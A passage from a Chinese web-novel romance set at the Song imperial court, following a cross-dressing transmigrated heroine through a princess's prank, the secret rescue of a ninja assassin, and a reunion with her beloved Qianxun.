“对了,谦月。。。。。额。姐夫”瑚儿突然对我说道,“父皇有一件事,命我们去处理”能有什么好事呢?反正军队陛下是不会再让我碰了吧,该不会是陪他宝贝女儿玩吧!索性没了吃饭的欲望,在赵金奴的微笑目送中,我被瑚儿拉着出了门。 和她并肩走在路上,我突然觉得那里不太对!咦,我这个小肥皂(我们这里老一辈人将肥皂成为胰子)怎么突然长个了!!!变得比我还高,就算是发育期也不该这么快吧,昨天还比我矮小半个头,今天比我高了。好奇的看向她的脚,怎么变成小脚女孩儿了。缠足是南唐李后主时期流传下来的,这种风俗到了宋代被变成司空见惯的事,而且越是大家闺秀越要缠足,不然会嫁不出去的。人们觉得女人的三寸金莲会很好看,其实就是束缚她们的自由罢了。 瑚儿自幼好动,现在虽是小脚却也健步如飞,不疼吗?注意到我的目光,她笑着说,“想不到吧!我可没有缠足”现在她之所以高出许多,正是因为这双奇妙的鞋,鞋的内部从根部起向前形成一个陡陡坡,穿上它,从外观上看,脚就会变成三寸金莲,而真实情况只是将脚立起来了而已,有点类似于内增高的高跟鞋。平时在宫外玩的时候,她都可以穿普通的鞋子,进宫面圣当然要符合体统啦,不过她不缠足的特例,正是皇帝偷偷默许的,所以一般人不知道,知道的人也不敢多说。 聊着聊着,我们就到了目的地——天牢。 冷岩向守卫亮出令牌,我们很顺利的进入暗暗的监牢内,惨叫声此起彼伏的从四面传来。在牢狱的尽头,是一间堆满刑俱的审讯室,一个大大的火盆是这个屋子光亮和温度的来源,空气被火盆烤的闷热且充满了血腥的气味。刑房正中间的架子上绑着一个人,污红色的衣角透着一点点白色,想来他已经被折磨了很久,纤瘦的人奄奄一息。“爹爹让我们来审问他”瑚儿说道,“虽说十四叔在负责这件事,但是毕竟事关行刺皇帝,所以爹爹想让我们也了解一下”。 原来是那日殿试上的刺客,已经成了这副模样!回想起来,他还对我说过一句外语,正在想着,那人挣扎着有轻声说着什么。回忆中思索,他说的竟是日语。他的神志似乎已经不太清楚了,只是喃喃的说着,狱监的鞭子对他似乎也已经无效了,而后就算是泼水也没有唤醒他。冷岩摸摸他的脖颈,只是晕死过去了。看来今日是问不出什么了,我们只得打道回府。 “冷岩,他说的可是东瀛话”瑚儿在路上问道,冷岩一愣,点点头,“他说,川儿快走!”说完看向我,“驸马,您可也会东瀛语”雅美蝶算吗?开玩笑,当然不会,我摇头作答。 回府后来不及我回想川儿的问题,就被赵金奴勒令换衣服,瑚儿也梳洗打扮了一番后,我们就一起进宫了。按理说,女儿出嫁应该是次日一早就给父母斟茶的。不过念在我们昨夜府邸被火攻的特殊情况,刚好又赶上郑皇后生日,而且皇上宝贝疙瘩瑚儿回宫了,三喜临门,皇上干脆决定晚上在宫里设宴,让出嫁的公主们都回宫省亲。 宴席之上,歌舞升平,席间列座的贵族夫妻也是彰显了人间百态。有相敬如宾的、有冷暴力零交流的、有互看不爽暗自伤害的,当然也有鹣鲽情深的。鹣鲽情深说的就是我和赵金奴了,她不时的为我斟酒,还喂我吃葡萄,我正在迟疑,就感觉腿上被人拧了一下,下意识疼的微张开嘴,葡萄就顺利成章的进入口中,对面的她依然一副温柔贤惠的模样。皇帝看到这里,不禁捋须慧心的笑。“金奴和驸马新婚燕尔,羡煞旁人啊”对着身旁的瑚儿说,“瑚儿你若是早些回来就好了,爹也可以做主给你也找个如意郎君,你也就有人疼啦”瑚儿看着我们,又转而笑着对皇帝撒娇道,“二姐好福气,不过女儿我有爹爹宠爱就够了”说着,跑到金奴身边,对皇帝说道,“不过,爹爹也知道我从小除了您之外,最黏的人就是二姐,如今二姐突然成亲,我还真舍不得,再次请爹爹准许我在二姐府上多住些时日,一来多陪陪二姐,二来也沾染些福气,说不定我的红鸾星也快到了呢!”瑚儿笑盈盈的靠着金奴,赵金奴宠溺的用手指划了一下她的鼻子。 皇帝捋捋胡须,笑着点头,“好,随我宝贝女儿的意,不过你要是住过去,府上用度自然要多些”随即,对我和赵金奴的新婚赏赐又加了几倍。 “合作愉快”酒酣宴罢,我和金奴在回府的马车上,被金奴逼得喝了好多酒,已经晕乎乎的了“你懂得和瑚儿亲近,看来我倒是小瞧了你,不过聪明人,我喜欢”赵金奴慵懒向后靠着,依旧露着平淡如水的笑容。的确,在皇帝面前谁和瑚儿亲近,谁的好处就不会少。她的笑容那么自然,可是确让人觉得那么寒冷,因为她似乎对什么都不走心。 回府后,瑚儿提着两壶酒进屋来,“刚刚都没有喝尽兴,来,谦月姐夫,我们再喝一点”说着瑚儿一仰头喝了起来,“真开心,还能在姐姐身边,兄弟姐妹五十多人,二姐是对我最好的了,她对谁都很冷漠,却能容忍我的淘气、胡闹,还总是哄我睡觉,你们要是真夫妻也就好了,二姐说找老公就得找个老老实实的,你就算忠厚啦。。。。。不过,你和芊寻已经心意相通了,不该花心”听得出来,瑚儿也有点喝醉了,不过我的情况本就不比她好,只是看着她喝酒,想到赵金奴对她、对我、对旁人的种种,我们分明都在被她利用呀,瑚儿,你渴望关怀,但是那是真心的才好。也许只有芊寻和谦月之间的爱,才是真的吧!想起芊寻,想到谦月,不禁又烦乱起来,我本来以为可以代替谦月好好照顾芊寻的,没想到又落入了这样难堪的境地,我当真配不上芊寻的好,成为不了她的谦月吗? 想到这些,不自觉的也开始喝酒,酒的味道在屋里弥漫开来,而我渐渐地开始迷糊。。。。。 阳光照射在我的脸上,可是微微冰冷感觉却从身边传来,缓缓的张开眼,看到眼前的一幕,我不禁想掐自己大腿,瑚儿刚刚竟然不着寸缕的搂着我酣睡,画面很美,可是我的心却紧张到不会跳动了。我坐起身来,睡天使似是被我的动作牵动,微微睁开眼,她用手臂支撑自己起身,如瀑的青丝滑落胸前,刚好遮住她玲珑如玉的身体。“我。。我。。我们应该是昨晚喝多了”我结结巴巴的说,我想表达,我们也许就是喝多了然后简单的睡在一起,我当时真想告诉她我是女人,而且就算是和芊寻亲密一些,我也没有到和女孩子有鱼水之欢的地步,我应该不会呀!所以应该没什么吧!我还在自我安慰。 “所以我们就酒后乱性了”瑚儿打断了我的话和思绪,她的脸上突然泛起了红色涟漪,我一时间不敢再看她的脸,不得不移开了目光,谁知道扫到她身下的被褥时,我大脑的cpu直接死机了。 这是。。。。落纟工。。。红。。。。红吗?。。。。。。。 56、亻俞情&救人两不误 “落纟工。。。。红。。。红((|||))”我做错了什么?为什么一点印象也没有,我用已经疼的要死的头回想昨晚的经历,能想到的情况大概是: 我和瑚儿一起喝酒,一起聊天吐槽,然后我感觉自己越喝越闷热,而瑚儿却说自己越喝越冷,我们回想说一定是因为中了该死的雪蛇毒,导致我的体质至阳,而她吸收了至阴的毒素,终身体寒。 “每月的那几天,我几乎疼的一刻都不能睡……就算挺过了,其余的夜里我都要盖好几层棉被子,可是还是会被冻醒,然后啊……就只能抱着自己的肩膀发抖,直到太阳出来。。。。。。”她的声音越来越颤抖,说着说着不禁环抱住自己,想要止住战栗,“冷雨也曾想过陪我就寝。。。。。。可是她的身体根本受不起,我又怎么能再伤害别人,谦月,谦月,这样的我还会遇到能相守一生的人了吗?。。。。。。。我不会害人害己吗?”酒醉的瑚儿断断续续的诉说着,瘦小的身体颤抖的越发厉害,胡乱的打翻了桌上的酒壶,她迷醉的厉害的身体失去了重心,我看着她,纤弱的,美丽的,痛苦的,无助的她,我的眼睛不禁模糊了,她曾说过不恨不怨任何人,却也在饱受寒冷折磨以后,只能借着酒醉才能吐露痛苦。 “会的,你会找到”在她将跌倒时,我忙抱住了她,眼泪已经夺眶而出,我哽咽说到,“一定。。。会有人待你如珍宝,给你一世温暖!” “当真?!……月,你身上好暖,”怀里的人转身本能的将我环住,似是眷恋着我的温暖,“我不管,若不能找不到温暖我一生的人,你就要对我负责,一辈子。。。。。。。”说到这里她忽然起身,因为醉,她没有站稳,我们踉跄的向一旁跌去,幸好床离的不远,我背倚着床头才勉强支撑住,怕她滑倒的我只得将她抱得更紧,瑚儿的身体依然纤弱透着冰冷,抱着她好像并没有重量,这个小小的人,一直给人朝阳般的活力与希望,可是却要被冰冷封冻住一生,这一切该怪命还是该怪我。“你要一辈子做我的暖炉”她抬头看着我,语带认真,眼眸迷惘。。。。。。 然后。。。。。然后我们。。。。。。然后呢?除了清冷的怀抱感触,我竟再也回想不起任何画面,我不禁用手按压太阳穴,顺便闭上眼,不敢再看瑚儿的身体。也许是看我晃神太久,瑚儿也以为我头疼,便一下子又将我扑倒,难道我们昨晚酒后真的……乱性了,然后居然一下子这么老夫老妻般的自然奔放!? 两额冰冷的感觉传来,瑚儿在为我揉太阳穴,很舒服,可是我却连大气也不敢喘,如同羞涩的小媳妇,咦,怎么好像哪里不太对? “自西夏回来,昨晚我睡的最好”瑚儿一边揉一边说,“以后你也陪我一起睡好吗?芊寻那里,我不介意做平妻。如果你不知道怎么和她说,我们就先偷偷的吧!至于二姐那里,反正是假的,那就不急,你们日后和离就好!” 瑚儿好像一夜之间成熟了,突然变得这么懂事,真是太好了……个鬼呀!!!!! 刚刚的对白和狗血剧情与我那个时代电视剧里的大多数小三和渣男的情节一毛一样吧!一旦发生了什么不可描述的事,小三都温柔体谅的说什么不着急,不强求,只要默默守护就好了,最后还不是搅和的人家妻离子散、家破人亡。瑚儿你可不是这样的人,我也不是渣男,额,也不是渣女。 我一定是做了一个怪异的梦,而且还没有醒,我偷偷的用手在大腿上拧了一下,还是疼,而且此刻突然发现,我竟然也没穿衣服,纤云甲也被脱了,那我不就是暴露了,瑚儿真的把自己给了同为女人的我!!!还是说,瑚儿根本就是在逗我玩呢。 “看你吓得那样子”瑚儿停了手,却环的我更近,我们之间的冷与暖的温度刚刚好。“都是女子你怕什么?虽说女子之间也可以肌肤相亲,但是也得情投意合,情之所至吧!我才不要和别人分享的感情!” 果然,都是她在逗我,这个小祸头子,看似小小年纪,单纯无知,合着吓死人不偿命呀!不过,小家伙懂得还挺多的! 原来,当年天如意为了掰弯她,曾将她点穴带到烟花之地,见证过女子间弱水之欢!瑚儿觉得,同性之爱或许美好,但是可遇难求,而且应该是情有独钟才行。 “有机会给我讲讲你和芊寻的故事吧,也许我能理解,也许不能。。。。”说这话时她似是个居士般释然。 “唉!难得睡个好觉,”瑚儿意犹未尽的伸了个懒腰,“不过,今天还得出去办事,咱们起来吧!别误了事!”瑚儿起身,背对着我穿上了外衫,回头见我还没有动,又一次附身靠过来“谦月~姐,难不成要我服侍你才肯穿衣”肉麻的一个冷颤。“我自己来就好”我忙裹紧被子,尴尬的说道,小家伙一夜之间变得这么会调又戈人。看来知道是同性之后她就没什么顾忌了,说到底,她心里直女的思想,以及把我看成属于芊寻的念头还是很明确的!那我们日后的相处就会像闺蜜一般自在了吗?!但愿吧! 起身感到床上有东西滑过来,凉凉的,是一个小小的瓷瓶。好奇的打开,向外一倒朱红色的粘稠液体流出,赶快放好盖上盖子,免得流的一手都是,看着手上的一点红,眼熟,再看看床上瑚儿躺过的地方,输了一口气,果然就是她整蛊了我。 “呀,被你发现了”,瑚儿见我拿着瓷瓶,忙抢了过去,“本来只是想骗骗你,让你为了负责而安心做我的火炉,没想到把你脱光光后,你自己的秘密就可以让你听话了”她已经穿上了外衣,“我发誓,我绝对不把你的秘密告诉任何人,作为报答以后你就乖乖给我暖床嘛!好不好,谦月大哥,谦月姐~姐夫~嫂子……我们打勾勾……” “好好好好,奴才认命,遵命成吗”我忙按住她和我打勾勾并摇晃着我的手,她停止了撒娇,“其实,我说的也不都是假的”看着我略带不快的样子,她小声嘀咕着,随即又扬起了没心没肺的明媚笑容,还是像个孩子。“好了,别赖床了,今天还得再去一趟天牢,去晚了,那个人估计就快没气了。起来了,快点”说着瑚儿向门跑去,打开一道门缝,确认外面没人,才出去,额,弄得还是像在偷情。(╯‵□′)╯︵┻━┻ 不管如何,我心里的石头落地了,毕竟只是虚惊一场,输了一口气,我也伸了个懒腰。想着一会又要去监牢了,不禁想起,昨天的刺客,他喊着的名字是川儿。 川儿……川儿……川儿?我开始拼命的思索,川儿是谁,有点熟悉,回忆起谦月的手札,忙起身翻出来。终于找到了,那个婀娜的刺客应该是谦月的师兄——雷洛。他也是师傅布袋和尚的徒弟,六岁时他们第一次见面,在一起玩耍了七年呢?他总说,闯荡江湖得有个名号,我们在洛川相遇,我是雷洛,你便是曹小川,便一直一厢情愿的唤谦月川儿。后来,他被叔叔带回了东瀛,也就是今天的日本。“川儿你等我,等我在东瀛开辟出一方乐土,就回来找你”离别时的话语还在,没错,谦月曾经让我善待的人还有他。他们自幼一起长大,一起闯荡江湖,雷洛还曾多次为救谦月差点死掉,虽然他一直以为谦月是男子,但依然愿意为他赴汤蹈火、两肋插刀,对谦月来说,这个师兄似兄长似挚友似亲人,若不是有了芊寻,说不定真的会等着他回来,然后如同梁祝一般,发展感情。不过感情的事情哪有如果,也许他就只会是谦月的兄长、挚友、亲人,而非爱人。 他为什么要行刺皇帝呢?我觉得这个事情还真是有点棘手,诛九族的死罪!谦月,如果你还在,你会向他追问答案吗?你又会不会救他呢?在他神志不清时,也还是希望你能逃走,他对你的情义应该是渗入骨髓的真诚,可是我能救得了他吗? 一直在琢磨事的我,不记得自己是怎么离开府邸,怎么走路来到天牢,又是怎么进到了刑房。 “不是让暂时停止行刑吗?怎么还在打他?”冷岩打掉行刑人的鞭子,质问道,“打死了,还能问出个屁”。看着比昨天更加不成人形的雷洛,我的心更乱。怎么办? “瑚儿,我们来这里要做什么呢?”我低声问瑚儿,看来瑚儿也是为了制止继续折磨他而来。 “爹爹让我们来……”,瑚儿敷在我耳边小声说“想办法偷偷把他放了” 放了!雷洛有救了!不过如果想放人,皇帝一声令下不就可以了吗?为何还让我们偷偷的呢? 瑚儿命冷岩在这里看管,别让人再打雷洛,同时让冷雨为雷洛简单诊治。然后她带着我来到证物房,看着那日雷洛用来行刺的断刀,形式上却如日本忍者所用的苦无一般。 打发走左右,屋内只有我们二人。瑚儿对我说起了雷家与皇家的渊源:十几年前,雷家因他人陷害而被判抄家、流放他乡,后来皇帝查明真相便已经拨乱反正,赦免了他们,按理说雷家后人应该不会找皇帝寻仇。再者,如果把此次行刺单单归结于外邦挑衅似乎也不合理,况且东瀛向来有人培养忍者刺客赚钱,那么雷洛不过是个雇来的工具罢了。 皇帝想知道的无非是幕后黑手是谁?如果雷洛不招,打死他也没用。加之,本就欠雷家一个人情,那么放了他就好。 “嗯,反正放了他,也是幕后人着急”我听到这里突然似乎明白了皇帝的用意,雷洛或许也不知道幕后指使,但是如果偷偷放了他,幕后人搞不好会现身追杀,已决后患。 “嗯,只是……”瑚儿点点头“不能放的太明显,而且也不能不管他死活的就丢出去吧!”瑚儿说着用手撑着下巴,“不如先用老办法”雅美蝶!!我恨不得冲过去死死的抱住她,这熊孩子怕是又要用火攻了。烧了这里,犯人不死,跑出去也为祸人间呀!岂不糟透了。 “来人!刺客的凶器不见了”我一边抱住她一边咬牙用断刀割破了掌心,然后喊到,随着血液泛起的白色泡沫包裹住断刀,呲呲声中,断刃就化没了。感谢我诡异的血液(▽`)。这样天牢要乱一会了,而且也避免了火灾。阿门! 在狱监慌乱的搜查中,我拉着瑚儿、冷岩和冷雨出了天牢。“这下好了,凶器也没了,朝里的大臣也不用往国仇上瞎猜了!”躲到后巷的我们,瑚儿忙拉起我的手叹道“没想到你还有这个异能,消铁成浆!”我笑笑,故作神秘的说,“何止,我这是化骨绵掌,还能将人的皮肉化为血水”说着将手指上的血抹在瑚儿脸上,瑚儿向后一跳却没躲过,忙擦拭脸上的血,却没有任何异样。我的血液可融金属,却不伤生灵,不然我不早化成一滩了! “烦人!”瑚儿擦了下脸就挥手向我打来,我向旁一闪撞到冷岩身上。他长衫里传来一声闷哼,额,差点忘了雷洛。今天我们本就是要趁乱救他,想来他身材瘦小,刚好可以藏在冷岩的长衫里。so,越狱成功了(●●) 看着靠在墙边的雷洛,我们该想想接下来怎么办了?现在天牢应该已经发现人不见了吧,所谓灯下黑,最危险的地方就是最安全的,一时之间,天牢后巷就是最安全的。但是然后如何把他运出去,又把他安置在哪里呢?我用手拖起下巴想着,瑚儿则靠在我身边也在思考着。 “曹大哥”一个清亮的声音传来,环顾四周没有发现人,“我在这里,上面呀”抬头看去,一扇开着的窗里一位穿着粉衫的女孩在开心的向我们招手。。。 57、坏习惯 楼上的招手女孩正是——颜如玉!! “好久不见啦!这位是?……看着好眼熟”完全忽略了我们从窗户进入这诡异的行径,小如玉高兴的手舞足蹈,“你是宋大哥,咦,是宋姐姐!姐姐,你这样更好看!”如玉抱着瑚儿笑着。 那日在洛河边,我和瑚儿一起救了她,那时瑚儿还是叫宋帅的翩翩美少年,如今相逢却又变回了洛神的模样。不过这孩子接受起来倒是很快很自然。 她们在那边叙着重逢之宜,我开始在屋里琢磨能藏人的地方,看到墙角,中!就它了!一个约一米高三十厘米宽的大花瓶,按说藏个小孩还行,藏成人就够呛了!但是好歹雷洛是高级忍者,而且身材又很苗条,应该能塞进去吧!果然,缩骨功还真不是传说,雷洛忍着身上的伤痛缓了两口气还真进去了。小如玉看的都要拍手称奇了!!! “有重犯脱逃,我们要搜查”刚刚藏好,门就被推开,动作还是挺快的,不过他们搜了一圈,着实没发现能藏人的地方。罢了,眼看着要走了,一个年轻狱监扫了眼花瓶,微微迟疑。 “这可是景德镇的名家之作,要是有一丁点损坏,怕是你倾家荡产也赔不起”颜如玉突然扬声说着,一副嚣张的小富婆模样,一边说还一边走到花瓶旁边,这一对比,花瓶比她这个十三四岁的孩子还袖珍,怎么可能藏得了男人呢?狱监轻哼一声便出去了。机智如玉!!( ̄▽ ̄)σ “玉儿,我们该出发了!”狱监前脚走,和颜如玉的父亲打了个照面。颜老板看到我们很快热情的作揖,“诸位,别来无恙”。 原来颜如玉一家打算举家迁移,问起目的地,是琉球!船还有一个时辰就要开了,雷洛还在花瓶里蹲着呢?事不宜迟,赶快抬走,送他们启程上路吧! “啪”,碎裂声在船舱内响起,雷洛因为有伤不能自己出来了,只有打碎花瓶了。颜老板请来自家郎中为他诊治。 “颜老板为何要离乡,远渡重洋呢?”我在郎中诊治时,和如玉的爹寒暄起来。“唉,故土难离呀!近年来,生意越来越不好做了,但总得活着不是”听他说来,我倒是更能从百姓的角度了解当今局势了。以往我都是在京城或者比较偏内的城市生活,和走南闯北的商人看到的自然大有不同,生存的本能,让他们有着更加敏锐的直觉。这些年,辽、夏国的边境并不安生,东北边的金国也是越来越壮大,这是外患;至于内忧,当今皇帝任用宦官、奸臣,导致朝□□败,百姓怨声载道,各地农民起义军此起彼伏,总感觉天下要有大乱了。 嗯,回想起来,宋史到了徽宗也就是我的“岳父”这里,也就差不多快分南北宋了,水泊梁山,方腊起义,靖康之耻,北宋灭亡。。。。。。果然都是灾难! 不过我此时想到的都是书本和电视上画面,虽然难过,但并不真切,等到日后真是经历时,才真真切切的明白了什么是人间地狱,什么是痛心疾首!不过,这些也都是后话了!!! “嗯,现在琉球正是比较平安的时候,而且,他们对我国文化、事物也还算很仰慕,确是个好去处!”我点头说道,赞叹颜老板的远见卓识。说话间,郎中过来说雷洛身体底子不错,身上大多是皮外伤并未伤及脏腑,上了药,休养一个月就差不多了。 得过去看一眼谦月的师兄吧,此一别可能不会再见了!“川儿,你过得好吗?”雷洛看着我说,“要不要和我去?” “不了,我还有亲人在这里,而且还有很多事没有做完”我直言拒绝。刚说了两句,瑚儿和如玉也过来了,雷洛马上不再言语,也许是怕让人怀疑我们,连累我吧! “喂,眼看要走了,你还不想说是谁指使你吗?”瑚儿蹲下身问道,得到的是雷洛的沉默,“算了,中原你是别想再回来了,以后你就跟她混吧,好歹她对你有救命之恩,你们到了东瀛你的地界,你可得好好报答如玉啊”如玉表示嫌弃,瑚儿却说“你别看他像个病猫似的,功夫不弱呢,日后给你当个跟班也不错!” “才见面就要分开!”船将要开了,颜如玉不舍的拉着瑚儿说到“我们下次见面不知要到何时了?”颜老板打算在琉球定居,可能轻易不会再回中原了,那么这一别。。。。。。 “等有机会我们就会去东瀛看你”瑚儿在甲板上拥抱着如玉,右手轻轻拍着小家伙的背,“你先把那里好玩的、好吃的摸清楚,到时给我们当向导……”。这话倒是哄得颜如玉暂时放下了哀伤,小家伙信心满满的准备做探路者去了! 船帆扬起,故人乘风远去,我们挥动手臂道别,直到大船的影像消失在海岸线尽头。希望,我们后会有期! 回去的路上,瑚儿蹦蹦跳跳,步履轻松,似乎并没有受友人离别影响太多。 “搞定,想想要向父皇讨什么赏?”走在后院的回廊里,瑚儿嘟囔着。 “搞定?幕后主脑不查了吗?”我疑问道。 “已经不容易了吧”瑚儿自然的回答到“后面的事都是玩心术,还是让喜欢动脑子的人去玩吧!”哟,你很懂嘛!朝堂上的勾心斗角,我们可是小白,算了,听老板的,让干啥干啥,干完领赏喽! “不如……我向父皇讨了你?”瑚儿见我有些晃神,一手搂住我的脖子,今天她没穿高跟鞋,身高差让我有些倾斜,“过阵子陪我去琉球找如玉玩啦!”没心没肺的小魔头! “感情真好呀!”金奴的声音传来,我和瑚儿还停留在暧昧的姿势中,“瑚儿,别太欺负你姐夫哟!”说着她微笑着飘走了!瑚儿吐吐舌头松开了手。 “今天讲点什么故事呀?”虽然折腾了一天,小魔王已经累的有点迷糊了,不过还在讨要睡前故事,因为零距离的接触,难道以后都要让她享受环绕立体音的入睡体验!?想故事也是挺费脑细胞的呀!再说,何时是个头呀,想起在我生活的时代,帮着表姐照顾baby的经历,真是好辛酸,哄小宝宝入睡已经用了九牛二虎之力,可是小家伙的睡眠时间只有2小时左右,一醒过来就哭,然后还要抱抱哄哄好久,想到这里,不禁有种噩梦重演的感觉。 “你什么时候能长大点,到时不用听故事也能睡着!”我突然感慨到。 “为什么长大就不能听故事睡觉了?”瑚儿反驳我道,“对了应该加一条,我要找的一心人不仅能温暖一世,还要每晚给讲故事。”瑚儿一边说着一边用手拉了拉我的脸颊“所以在找到之前,你都别想逃离我的魔掌,额不对,是我的手掌心!!” “再说,如果长大就要每晚不听故事,那我宁愿不长大,夜深人静、漫漫长夜的,多无聊!”瑚儿继续说道,典型的彼得潘心理! “估计等你嫁人了,就不会觉得无聊了!”我也不知道自己怎么突然这样说,也许是从她寻找一心人那来的灵感。 “那还能做什么?”瑚儿好奇的问,“哦!?你说那个,那个很好玩吗?” “额,等你到时候就懂了!”我哪里知道,应该是和心爱的人真情相拥,然后……!“诶?你都不太懂这些事,为什么会想到用朱砂吓我?”想到今早的起床情景,和她昨夜的种种,她尚不谙人事,怎么会用假装酒后乱性这招呢? “冷雨教我的呀”瑚儿的头离我的耳朵很近,声音随呼吸传入,“她看我被折磨的夜不能寐,才……” “现在就能寐了!?”唉,想来她也不懂这些!感到身上的热气正源源不断地被她吸走,我灵机一动,不如给她讲讲冰雪女王的故事^_^ “算了,今晚就讲一个西方的魔法故事吧”我吸了口气,打算开讲,可是却听到了她均匀的呼吸声,睡着了?我轻轻转过头来偷瞄她,月光刚好从窗缝透进来,她粉嫩嫩的睡脸好像小天使。 冷与热,在我们身体之间渐渐交融,不知不觉她好像已经没那么冷了…… 就这样开始,我每天白天陪她吃喝玩乐到处冒险,不断邂逅、结交、考核可能成为她未来夫君的人;到了晚上就抱着她给讲故事哄她入睡,故事从童话镇到蜘蛛侠到火影忍者再到倩女幽魂、大鱼海棠。 有些事一但开始就会渐渐变成习惯,而一旦习惯了,就算明知道是坏习惯也让人没有办法…… 也许是离宫的时间多了,瑚儿粘着金奴的时候渐渐少了,赵金奴却也乐得清净,不过她有一点很让我觉得奇怪,她曾说过心有所属,但是相处这些时日却从未见她与什么人相见,每天就是喝茶、作画什么的消遣。 “你二姐她有什么喜欢的吗?”这日清晨,我和瑚儿在被窝里赖床,聊天中我想起了这个问题,感觉赵金奴做什么都很好,而且是那种毫不费力的全方位优秀。 “没觉得有呀!咦,你这个假相公怎么想起问这个了”,瑚儿坐起身来,“别打我二姐主意,你可配不上她哟!”瑚儿一边说一边在我额头弹了一下。 “我知道,配得上你二姐的人得是非凡绝伦的人中龙凤!”我揉揉头也要起身,“我就是有点好奇……” “小祸头子还赖床呢?!”门嚯的一下被推开,进来的正是赵金奴,还有拦阻她失败的冷雨。 “二姐”瑚儿几乎在听见声音的同时,直接环抱住了我,用她赤果果的背应对来人,也刚好挡住了我的身体,“二姐,我对不起你……”声音略带哽咽,肩膀也随着抖动。因为她的动作太突然,我也下意识在她抱我时一手环住了她的背,随即一手拉起被子遮在她背上。这画面活月兑月兑的就是一个成语————捉jian在床! 要不要这么刺激!瑚儿是不用看她们了,可我却是对着她们的呀!冷雨用手扶额,很是无奈! 可是赵金奴却笑着说“就觉得你们感情不错,没想到——好到让我的小妹成人了!”她的笑容如往常般没有温度,没有异样,反倒是有点喜闻乐见的感觉。“早饭要凉了,快起来吧!”说着她转身要离开。 我和瑚儿还没有做出后续反应,赵金奴却突然转身,“哦!差点忘了,驸马老家来信,你的家人这两日就要过来了” 娘,要来了?!那么,她…… “对了,还有你的大嫂也一起来!”说完赵金奴便径直离开,留下了还在拥抱着的我们…… 58、芊寻的决绝~雪梦 “幸好没让二姐看见你的身体!”瑚儿长舒一口气,“如果二姐知道你是女子,就会觉得有趣,而后咱们就麻烦了!”瑚儿一边穿衣一边叮嘱我“记住,千万别对我二姐好奇,更别引起她的好奇!” 回忆起瑚儿讲过的赵金奴的成长故事:原来,她虽贵为嫡长公主,但是皇帝对他的感情似乎是亏欠甚于宠爱,皇帝女人太多,这让先皇后在嫉妒与哀愁中很早就去世了,留下了嫡长子赵桓和赵金奴,按年龄和身份来说,嫡长子早该被立为太子的,可是自幼丧母让他性格软弱,加之朝里又没有什么母族扶持,所以并不受人待见,若不是赵金奴在支撑周旋,恐怕早就彻底失了地位! 来不及感慨,我心里的烦恼、混乱又涌上来,我现在的境地该如何和芊寻说,又有什么面目见她?我在谦月的身体里享受着芊寻对自己的好,却也让谦月的身体每晚拥着他人入睡,就算我和瑚儿之间是没有感情纠葛的陪伴,我是不是也在给芊寻痛苦和不安,曾经一次次的下定决心好好面对芊寻,却一次次的离开,让她等待一天又一天。。。。。。 接下来的两天里,我觉得时间过得时快时慢,一想到就要见芊寻,回想起自从相见时起她对我的种种呵护、她的深情,我心里充满了暖暖的期待!可是又想到她会不会伤心,心里又开始忐忑不定…… 该来的总会来的! 马车停下,帘布拉开,那熟记于心的身影终于出现在我的眼前,一袭白衣的芊寻走下马车,我不自禁的迎了过去,来到车前时芊寻却别过身要搀扶娘下车,娘挥挥手,转而扶着江绮月。 “月儿,看你的气色很好,我们就放心了!”娘在屋里刚坐下,便欣慰的说,我还没有回答,赵金奴和瑚儿就进来了。因为身份,理应是我们向公主见礼,娘正要起身,赵金奴却忙上前拉住她们的手,“婆婆不可,既是在家里,就不论君臣,按辈分来吧!”说着,金奴扶着二位长辈坐下,而后行礼,起身注意到旁边站着的芊寻时,她则只是微微颔首唤了声大嫂。简单寒暄了几句,金奴便离开,瑚儿本想多待会,却被她二姐拉走了。 终于,屋里只剩下我们一家人。“谦……月,江师叔身体并未痊愈加之舟车劳顿,不如先让她们好好休息,待会再来相聚如何?”芊寻打破了赵氏姐妹走后的沉静,看着江琦月面色仍有些苍白,我想也对,就和芊寻离开了。 芊寻径直向后院走去,走入南柯苑中,似是知道中间朝南的房子空着,直接推门进去。咦,好怪,从娘的房间出来,芊寻就没有对我说过一句话,甚至连对视都极少。为何?如此陌生,我带着疑惑不安也忙跟进屋里。 芊寻将随身所带的小布袋轻轻放在桌上,然后坐了下来,我走到她身边为她倒了一杯水,芊寻接过水杯的同时,用手敷在我的手腕上,“你身体很好,那就好!”她的手有些凉,此刻,我才能近距离的看着她,她的脸色竟然有些憔悴。 “芊寻,你累了吗?”我看着她轻轻问道,“要不先躺一会吧!”芊寻似乎若有所思,迟疑了一会才抬起头看着我,竟然又失了神,她的眼眸中似有千千话语,让我的心又一次在她眼中映着的痴惘中沉沦、动容。可是为什么,渐渐地,渐渐地,我在芊寻眼中看到了迷惘,看到了哀伤。。。。。。 似乎意识到了自己的失神,芊寻微微低眉移开了目光,“真的有点倦了!月儿,让我自己歇息一会吧!”我扶着她到床上躺下,为她盖好被子,此时芊寻已经合上了眼,面色苍白,我不自禁的用手敷在了她的额头上,芊寻喃喃的说道“你的手还是那样暖。。。。。。”随后便不再说话。我将床边的围帘轻轻放下,悄悄的退出了屋外。离开前,闻到屋子里有一丝丝淡淡的幽香,想着也许是芊寻所带的药物吧! 刚刚关好门,转身就撞上了瑚儿,在她要张口说话前,我做了一个“嘘”的动作,而后双手合十放在脸颊歪了歪头,示意芊寻睡了,瑚儿会意,回头向自己的房间走去。 好好休息吧,芊寻!希望你做个好梦,在门外的我,这样祈祷着,转身离开。。。。。。 “下雪了!芊寻,你看,这雪和月,像不像我们在大理时看到的苍山、洱海!”看着窗外的雪景,谦月笑着对芊寻说。 “月儿,瑞雪兆丰年!”芊寻轻轻拂着谦月的脸,谦月却再一次昏迷了过去,最近,她醒着的时间越来越少了。。。。。。 “芊寻!!”谦月的额头浸满汗水,芊寻不在身边!不好!挣扎着从床上坐起,不详的预感涌上心头,自己的身体自己怎么会没有感觉呢?真希望能骗过芊寻,可。。。。。。 跌跌撞撞的来到药房,看到芊寻正端起药碗,“芊寻!”谦月唤了一声,芊寻迟疑,随即将碗迅速送到嘴边,药碗却被谦月打落在地上。 “我不会有事,相信我,芊寻,我怎么舍得你,怎么舍得。。。。。就算我真的。。。。。那也只是睡着了,相信我。。。。。就算。。。。。。”谦月渐渐失去了力气,倒在芊寻怀中。“上通碧落下黄泉,纵然要走过千山万水、穿过刀山火海,我也一定会。。。。。。一定会回到你身边。。。。。。” “月。。。。。。月儿!我信,我相信你,求你。。。。你别睡。。。求求你。。别。。。。”泪淹没了声音,这一刻,芊寻什么医理都不会了,她会的,只是本能的摇动着谦月的身体,心脏好像遗忘了跳动的本能,芊寻感觉自己堕入了无尽的黑暗中。。。。。。 